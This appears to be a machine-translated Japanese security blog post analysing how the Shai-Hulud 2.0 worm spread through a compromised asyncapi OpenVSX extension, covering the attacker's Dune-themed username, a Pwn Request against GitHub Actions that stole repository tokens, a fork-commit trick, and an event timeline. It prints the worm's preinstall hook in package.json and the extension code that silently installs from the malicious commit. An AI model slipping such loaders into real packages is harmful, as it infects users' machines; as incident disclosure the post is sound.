Aikido

シャイ・フルード2.0:未知の探求者が語る攻撃者の最終目的

チャーリー・エリクセンチャーリー・エリクセン
|
#

シャイ・フルード2.0の物語にはさらなる紆余曲折があり、今回初めて複数のエコシステムへ拡散する様を目の当たりにしたため、その点を強調したい。調査の過程で、攻撃者が取った手順に関する深い洞察をもたらす重要な新情報を発見した。主な調査結果を以下にまとめる:

  • ワームの最初の拡散は、攻撃者が悪意のあるバージョンの asyncapi/asyncapi-プレビュー OpenVSXの拡張機能.
  • この攻撃の最初の段階において、攻撃者は自身のGitHubアカウント名を 未知の探求者1

ジャーナリストとS1ngularityやShai Huludの事件について話す際、常に残された大きな疑問はこれだ:攻撃者の最終目的は何か?何ヶ月もの間、我々が頼りにできたのは推測と直感だけだった。

しかしこの小さな伝承に由来する細部は、多くの研究者から聞いた説を裏付けるものだ。つまり、これらの攻撃者は単なる楽しみや利益のために混乱を引き起こしているわけではない。彼らはメッセージを伝えようとしているのだ。それは「君たちの世界が実はどれほど脆いか見てみろ」という類のエネルギーであり、誰かがエコシステムが過度に信頼し、過度に自動化され、抜け穴が簡単に見つかる状態になったと考えた時に現れるものだ。

それが本物の動機であれ、単なる見せかけの自己像であれ、本質的には問題ではない。結果は同じだ。この攻撃は拡散を目的とするだけでなく、私たちが信じたい以上に脆いシステムに対して、少しばかり過信しすぎているという不快な真実と向き合わせるように仕組まれている。

未知の放浪者

ユーザー名「UnknownWonderer1」はほぼ間違いなく 『デューン』に登場するへの言及である。彼らは数千年にわたり惑星間を漂流する遊牧民であり、権力者たちから疎外され、ほとんど注目されることもなかった。

時を経て、それらの放浪者たちは フレメンとなった。アラキスの巨大な砂虫シャイ・フルードと真に調和した唯一の文化である。そこに文字通り「シャイ・フルード」と名付けられたマルウェアを組み合わせると、この参照は偶然とは思えなくなる。それは『デューン』に着想を得た対称性となる――砂の上を移動する放浪者と、その下を静かに潜行する砂虫の。

デューンの伝承において、ゼンサニは公式の構造の外で生きる人々を象徴し、その強靭さが文明全体を再構築する瞬間まで見過ごされてきた。現代のソフトウェア供給網に潜り込む攻撃者が、このイメージに惹かれる理由は容易に想像できる。

この身元を装うことで、攻撃者はエコシステム内で同様に目立たない存在として振る舞い、リポジトリやアカウント、パッケージの間を注意を引かずに漂う。

その構図は、ある種の動機さえほのめかしている。自らをアウトサイダーと見なし、脆弱あるいは慢心していると考える体制に挑戦する者、あるいは自分を過小評価した環境の弱点を暴く放浪者を示唆しているのだ。

そしてこの比喩は、マルウェアの挙動に驚くほどよく当てはまる:静かで、しつこく、誰もチェックしようと思わない死角から活動する。これら全てが、このユーザー名を単なる無作為な選択ではなく、攻撃者が自らの役割と影響力をどう想像しているかの断片のように感じさせる。このことわざ——『ザンスニの鞭』に由来すると言われる——は、どういうわけか関連性があり、予兆のように思える:

一本の糸だけでは操り人形を操れない

OpenVSXへの展開

2025年11月23日 23:36 UTC、新しいバージョンの asyncapi/asyncapi-プレビュー OpenVSX向けの拡張機能が公開され、これによりShai Hulud 2.0ワームがインストールされる仕組みでした。その導入方法は非常に巧妙で、より深く掘り下げて検討する価値があります。以下に、攻撃が展開された過程を段階的に概説します。 

ステップ1 - 流出用フォークの準備

2025年11月22日 16:06 UTC、攻撃者vskpsfkbjsがGitHub上でフォークしたリポジトリにコミットを作成した。 asyncapi/CLI リポジトリ 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

その中で、彼らがGitHubアクションの一つで使用されるスクリプトを修正し、ローカルのgit設定を外部に流出させるようにしている様子が見て取れます。 webhook.site エンドポイント 

リポジトリ外のフォークに属すると記載されていることに気づきましたか?これは重要です。なぜなら、これは「Pwn Request」の典型的な例だからです。これは攻撃者のフォーク内のみに存在しますが、後でリポジトリ内部から実行されることになります。 asyncapi リポジトリ

ステップ2 - 攻撃用プレスリリースを準備する 

次に、2025年11月22日16時29分(UTC)に、攻撃者が自身のフォーク内に「 パッチ-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

ここでいくつか言及する価値のある点があります:

  • ユーザー名が変更されたことにご留意ください vskpsfkbjs への 未知の探求者1攻撃者がGitHubアカウントの名前を変更したようです。 
  • このコミットにはテキストの変更のみが含まれているように見える。

混乱しますよね?なぜテキスト変更だけなのか?その答えはGitHub Actionsワークフローの実行方法にあります。脆弱なGitHub Actionsはフォークからマージされるコードをチェックアウトするため、悪意のあるバージョンのファイルも引き込まれてしまうのです。.github/workflows/changeset-utils/index.js攻撃者は既にデータ窃取ペイロードを準備していた。この悪意のあるファイルは公式リポジトリのコンテキスト内で実行され、GitHubのシークレット情報を窃取する。 

ステップ3 - 情報漏洩のパッチリソースを提出する

次に、2025年11月22日 16:38 UTC に、攻撃者は公式リポジトリにプルリクエストを提出し、情報漏洩ペイロードを起動させます。この証拠は SonarQube のクラウド履歴で確認できます:

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

この時点で、彼らの悪意のあるペイロードは実行され、GitHubトークンを彼らの情報漏洩ポイントに送信している。

ステップ4 - 証拠を隠す

この時点で、攻撃者はリポジトリのGitHubトークンを不正取得済みである。わずか2分44秒後のUTC16:40、攻撃者は痕跡を隠すためプルリクエストを閉じている。 

ステップ5 - ワームの展開

翌日、2025年11月23日22時56分(UTC)に、攻撃者は(おそらく自身のフォーク上で)GitHub Actionsによって作成されたと思われるコミットを生成した。このコミットはリポジトリ内の全ファイルを削除するが、 package.json そしてワームを追加する。 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

package.jsonファイルは、ワームを単純に実行するように変更されました:

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

ステップ6 - 悪意のあるOpenVSX拡張機能の展開

最後に、悪意のあるOpenVSX拡張機能は2025年11月23日23時36分(UTC)に展開されました。拡張機能のアクティベーションコードに挿入された悪意のあるコードは以下の通りです:

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

これ、そんなに怪しく見えませんか?公式リポジトリの特定のコミットからAsyncAPI CLIパッケージをインストールするだけの単純な作業のように見えますし、安全のはずです。しかし、そうではありません。これは、公式リポジトリではなくフォーク上に存在した、前述の悪意のあるコミットを参照しているのです。もう混乱しましたか? 

コミットの混乱?リポジトリの混乱? 

上記の「悪意のある」コードを初めて見たとき、私たちは呆然とした。 正当なGitHubリポジトリからパッケージをインストールすることが、どうして安全でないのか?その答えは「偽装コミット」という、あまり知られていないGitHubの特性にある。つまり、誰かがGitHub上のリポジトリをフォークすると、そのフォーク内のコミットは元のコミットハッシュを通じて元のリポジトリからもアクセス可能になるのだ。GitHubのUIでコミットを確認して初めて、何かがおかしいと気づくのである:

この動作は直感に反し、セキュリティ上好ましくない。なぜなら、次のようなコマンドを実行すると npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63dasyncapi/cli リポジトリからコードをインストールすることを期待しているはずです。もはや存在すらしないフォーク上のコミットではありません。この種の攻撃は、 リポジトリの混乱 脆弱性 

付録 - 詳細なGitHubタイムライン

タイムスタンプ (UTC) Δ 時間 フェーズ アクション 重要性
16:06:02 偵察 個人フォーク上に修正ブランチを作成しました 初期設定;ユーザーが作業ブランチを準備する
16:06:27 +0:25 偵察 PR #1 がフォーク上で作成されました(コメントデータから推測) 自身のリポジトリでPRワークフローをテストする
16:07:16 +0:49 テスト フォーク上のクローズ済みプルリクエスト #1 PRメカニズムの実験
16:08:25 +1:09 テスト フォーク上のPR #1を再開しました 継続的なワークフローテスト
16:09:06 +0:41 テスト マスターブランチにプッシュ フォークのマスターブランチに直接プッシュ
16:09:21 +0:15 テスト PR #1 を再度クローズしました テストサイクルの最終化
16:19:10 +9:49 準備 マスターへの第二のプッシュ 変更を伴うフォークの同期
16:19:40 +0:30 自動化トリガー GitHub Actions ボットがプルリクエストにコメントする 自動変更セットワークフローが有効化されました
16:29:26 +9:46 ステージング 新しいpatch-1ブランチにプッシュ アップストリームへの提出に向けたペイロードの準備
16:38:05 +8:39 実行 asyncapi/cli で PR #1903 を開きました 🚨 上流への貢献の試み
16:40:49 +2:44 退却 PR #1903 が作成者によってクローズされました 痕跡を隠すためのPRの削除
4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。